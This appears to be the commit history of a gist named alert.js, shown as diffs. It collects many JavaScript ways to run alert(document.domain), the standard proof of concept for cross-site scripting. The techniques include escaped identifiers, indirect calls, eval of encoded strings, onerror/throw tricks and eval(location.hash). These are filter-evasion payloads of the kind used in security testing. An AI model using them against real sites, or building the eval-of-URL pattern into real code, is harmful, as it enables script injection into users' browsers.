tomnomnom · October 25, 2025 05:02 · Oct 29, 2018 · Oct 29, 2018 · Sep 8, 2018 · Sep 8, 2018
diff --git a/alert.js b/alert.js
@@ -56,3 +56,6 @@ Function('x','alert(x)')(document.domain);
 onerror=alert;throw document.domain;
 onerror=eval;throw'=alert\x28document.domain\x29';
 
+// With location.hash = #alert(document.domain)
+eval(location.hash.substr(1))
+
diff --git a/alert.js b/alert.js
@@ -41,6 +41,7 @@ Array.of(document.domain).find(alert);
 
 // Evaluated
 eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));
+eval(atob(/YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=/.source));
 eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,59));
 setTimeout`alert\u0028document.domain\u0029`;
 Set.constructor`alert\x28document.domain\x29```;

diff --git a/alert.js b/alert.js
@@ -53,4 +53,5 @@ Function('x','alert(x)')(document.domain);
 
 // onerror assignment
 onerror=alert;throw document.domain;
+onerror=eval;throw'=alert\x28document.domain\x29';
 
diff --git a/alert.js b/alert.js
@@ -51,3 +51,6 @@ Function('x','alert(x)')(document.domain);
 // Template Literal Expression
 `${alert(document.domain)}`;
 
+// onerror assignment
+onerror=alert;throw document.domain;
+
diff --git a/alert.js b/alert.js
@@ -2,6 +2,7 @@
 // Comment with more ways and I'll add them :)
 // I already know about the JSFuck way, but it's too long to add (:
 
+// Direct invocation
 alert(document.domain);
 (alert)(document.domain);
 al\u0065rt(document.domain);
@@ -10,30 +11,43 @@ window['alert'](document.domain);
 top['alert'](document.domain);
 top[8680439..toString(30)](document.domain);
 top[/alert/.source](document.domain);
+alert(this['document']['domain']);
+
+// Indirect Invocation
 alert.call(null, document.domain);
 alert.apply(null, [document.domain]);
 alert.bind()(document.domain);
+Reflect.apply(alert, null, [document.domain]);
+alert.valueOf()(document.domain);
+with(document) alert(domain);
+Promise.all([document.domain]).then(alert);
+document.domain.replace(/.*/, alert);
+
+// Array methods
 [document.domain].find(alert);
 [document.domain].findIndex(alert);
 [document.domain].filter(alert);
 [document.domain].every(alert);
 [document.domain].forEach(alert);
+
+// Alternate array syntax (all array methods apply)
+Array(document.domain).find(alert);
+Array.of(document.domain).find(alert);
+(new Array(document.domain)).find(alert);
+
+// Other Datastructure Methods
 (new Map()).set(1, document.domain).forEach(alert);
 (new Set([document.domain])).forEach(alert);
-Reflect.apply(alert, null, [document.domain]);
-document.domain.replace(/.*/, alert);
+
+// Evaluated
 eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));
 eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,59));
 setTimeout`alert\u0028document.domain\u0029`;
 Set.constructor`alert\x28document.domain\x29```;
 (new Function('alert(document.domain)'))();
 (new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
-`${alert(document.domain)}`;
-alert.valueOf()(document.domain);
-with(document)alert(domain);
 Function('x','alert(x)')(document.domain);
-Promise.all([document.domain]).then(alert);
-alert(this['document']['domain']);
-Array(document.domain).find(alert);
-Array.of(document.domain).find(alert);
-(new Array(document.domain)).find(alert);
+
+// Template Literal Expression
+`${alert(document.domain)}`;
+
diff --git a/alert.js b/alert.js
@@ -29,4 +29,11 @@ Set.constructor`alert\x28document.domain\x29```;
 (new Function('alert(document.domain)'))();
 (new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
 `${alert(document.domain)}`;
-alert.valueOf()(document.domain)
+alert.valueOf()(document.domain);
+with(document)alert(domain);
+Function('x','alert(x)')(document.domain);
+Promise.all([document.domain]).then(alert);
+alert(this['document']['domain']);
+Array(document.domain).find(alert);
+Array.of(document.domain).find(alert);
+(new Array(document.domain)).find(alert);
diff --git a/alert.js b/alert.js
@@ -29,3 +29,4 @@ Set.constructor`alert\x28document.domain\x29```;
 (new Function('alert(document.domain)'))();
 (new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
 `${alert(document.domain)}`;
+alert.valueOf()(document.domain)
diff --git a/alert.js b/alert.js
@@ -1,5 +1,6 @@
 // How many ways can you alert(document.domain)?
 // Comment with more ways and I'll add them :)
+// I already know about the JSFuck way, but it's too long to add (:
 
 alert(document.domain);
 (alert)(document.domain);

diff --git a/alert.js b/alert.js
@@ -0,0 +1,30 @@
+// How many ways can you alert(document.domain)?
+// Comment with more ways and I'll add them :)
+
+alert(document.domain);
+(alert)(document.domain);
+al\u0065rt(document.domain);
+al\u{65}rt(document.domain);
+window['alert'](document.domain);
+top['alert'](document.domain);
+top[8680439..toString(30)](document.domain);
+top[/alert/.source](document.domain);
+alert.call(null, document.domain);
+alert.apply(null, [document.domain]);
+alert.bind()(document.domain);
+[document.domain].find(alert);
+[document.domain].findIndex(alert);
+[document.domain].filter(alert);
+[document.domain].every(alert);
+[document.domain].forEach(alert);
+(new Map()).set(1, document.domain).forEach(alert);
+(new Set([document.domain])).forEach(alert);
+Reflect.apply(alert, null, [document.domain]);
+document.domain.replace(/.*/, alert);
+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));
+eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,59));
+setTimeout`alert\u0028document.domain\u0029`;
+Set.constructor`alert\x28document.domain\x29```;
+(new Function('alert(document.domain)'))();
+(new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
+`${alert(document.domain)}`;